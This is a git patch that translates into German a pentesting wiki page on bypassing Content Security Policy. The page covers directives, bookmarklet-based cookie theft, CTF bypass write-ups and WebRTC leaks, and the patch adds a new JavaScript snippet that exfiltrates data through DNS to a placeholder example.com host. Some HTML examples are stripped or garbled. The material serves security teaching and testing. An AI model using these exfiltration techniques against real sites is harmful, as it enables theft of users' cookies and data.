From bc95e4d3b8052978adf967858cbedea01cf7cac5 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 26 Jan 2025 15:21:03 +0000 Subject: [PATCH] Translated ['src/pentesting-web/content-security-policy-csp-bypass/READM --- .../README.md | 119 ++++++++++-------- 1 file changed, 66 insertions(+), 53 deletions(-) diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 0b6482ba6..db9730e5b 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -4,7 +4,7 @@ ## Was ist CSP -Content Security Policy (CSP) wird als eine Browsertechnologie anerkannt, die hauptsächlich darauf abzielt, **sich gegen Angriffe wie Cross-Site-Scripting (XSS)** zu schützen. Es funktioniert, indem es Pfade und Quellen definiert und detailliert, von denen Ressourcen sicher vom Browser geladen werden können. Diese Ressourcen umfassen eine Vielzahl von Elementen wie Bilder, Frames und JavaScript. Zum Beispiel könnte eine Richtlinie das Laden und Ausführen von Ressourcen von derselben Domain (self) erlauben, einschließlich Inline-Ressourcen und die Ausführung von String-Code durch Funktionen wie `eval`, `setTimeout` oder `setInterval`. +Content Security Policy (CSP) wird als eine Browsertechnologie anerkannt, die hauptsächlich darauf abzielt, **sich gegen Angriffe wie Cross-Site-Scripting (XSS)** zu schützen. Es funktioniert, indem es Pfade und Quellen definiert und detailliert, von denen Ressourcen sicher vom Browser geladen werden können. Diese Ressourcen umfassen eine Reihe von Elementen wie Bilder, Frames und JavaScript. Zum Beispiel könnte eine Richtlinie das Laden und Ausführen von Ressourcen von derselben Domain (self) erlauben, einschließlich Inline-Ressourcen und die Ausführung von String-Code durch Funktionen wie `eval`, `setTimeout` oder `setInterval`. Die Implementierung von CSP erfolgt durch **Antwort-Header** oder durch die Einfügung von **Meta-Elementen in die HTML-Seite**. In Übereinstimmung mit dieser Richtlinie setzen Browser diese Vorgaben proaktiv durch und blockieren sofort alle erkannten Verstöße. @@ -25,7 +25,7 @@ CSP kann mit diesen Headern durchgesetzt oder überwacht werden: ### Defining Resources -CSP beschränkt die Ursprünge für das Laden sowohl aktiver als auch passiver Inhalte und kontrolliert Aspekte wie die Ausführung von Inline-JavaScript und die Verwendung von `eval()`. Ein Beispiel für eine Richtlinie ist: +CSP beschränkt die Ursprünge für das Laden von sowohl aktiven als auch passiven Inhalten und kontrolliert Aspekte wie die Ausführung von Inline-JavaScript und die Verwendung von `eval()`. Ein Beispiel für eine Richtlinie ist: ```bash default-src 'none'; img-src 'self'; @@ -52,29 +52,29 @@ object-src 'none'; - **object-src**: Definiert erlaubte Quellen für ``, `` und ``-Elemente. - **base-uri**: Gibt erlaubte URLs für das Laden mit ``-Elementen an. - **form-action**: Listet gültige Endpunkte für Formularübermittlungen auf. -- **plugin-types**: Beschränkt MIME-Typen, die eine Seite aufrufen kann. +- **plugin-types**: Beschränkt MIME-Typen, die eine Seite aufrufen darf. - **upgrade-insecure-requests**: Weist Browser an, HTTP-URLs in HTTPS umzuschreiben. -- **sandbox**: Wendet Einschränkungen an, die dem Sandbox-Attribut eines ` // The bot will load an URL with the payload @@ -544,9 +544,9 @@ run() Dieser Angriff würde einige soziale Ingenieurtechniken erfordern, bei denen der Angreifer **den Benutzer überzeugt, einen Link über das Lesezeichen des Browsers zu ziehen und abzulegen**. Dieses Lesezeichen würde **bösartigen JavaScript**-Code enthalten, der beim Ziehen und Ablegen oder Klicken im Kontext des aktuellen Webfensters ausgeführt wird, **CSP umgeht und es ermöglicht, sensible Informationen** wie Cookies oder Tokens zu stehlen. -Für weitere Informationen [**prüfen Sie den ursprünglichen Bericht hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). +Für weitere Informationen [**überprüfen Sie den ursprünglichen Bericht hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). -### CSP-Bypass durch Einschränkung von CSP +### CSP-Umgehung durch Einschränkung von CSP In [**diesem CTF-Bericht**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) wird CSP umgangen, indem in ein erlaubtes iframe eine restriktivere CSP injiziert wird, die das Laden einer bestimmten JS-Datei verbietet, die dann über **Prototype Pollution** oder **DOM Clobbering** es ermöglichte, **ein anderes Skript zu missbrauchen, um ein beliebiges Skript zu laden**. @@ -557,7 +557,7 @@ src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"> ``` In [**diesem CTF-Bericht**](https://github.com/aszx87410/ctf-writeups/issues/48) war es möglich, über **HTML-Injection** eine **CSP** weiter zu **beschränken**, sodass ein Skript, das CSTI verhinderte, deaktiviert wurde und daher die **Schwachstelle ausnutzbar wurde.**\ -CSP kann restriktiver gestaltet werden, indem **HTML-Meta-Tags** verwendet werden und Inline-Skripte können deaktiviert werden, indem der **Eintrag** entfernt wird, der deren **Nonce** erlaubt, und **bestimmte Inline-Skripte über sha aktiviert werden:** +CSP kann restriktiver gestaltet werden, indem **HTML-Meta-Tags** verwendet werden und Inline-Skripte können deaktiviert werden, indem der **Eintrag** entfernt wird, der deren **Nonce** zulässt, und spezifische Inline-Skripte über sha aktiviert werden: ```html [!NOTE] -> Offensichtlich funktioniert diese Technik nicht in headless Browsers (Bots) +> Offensichtlich funktioniert diese Technik nicht in headless-Browsern (Bots) ### WebRTC @@ -700,6 +700,19 @@ var pc = new RTCPeerConnection({ }); pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` +### CredentialsContainer + +Das Anmeldefenster sendet eine DNS-Anfrage an die iconURL, ohne durch die Seite eingeschränkt zu werden. Es funktioniert nur in einem sicheren Kontext (HTTPS) oder auf localhost. +```javascript +navigator.credentials.store( +new FederatedCredential({ +id:"satoki", +name:"satoki", +provider:"https:"+your_data+"example.com", +iconURL:"https:"+your_data+"example.com" +}) +) +``` ## Überprüfung von CSP-Richtlinien online - [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)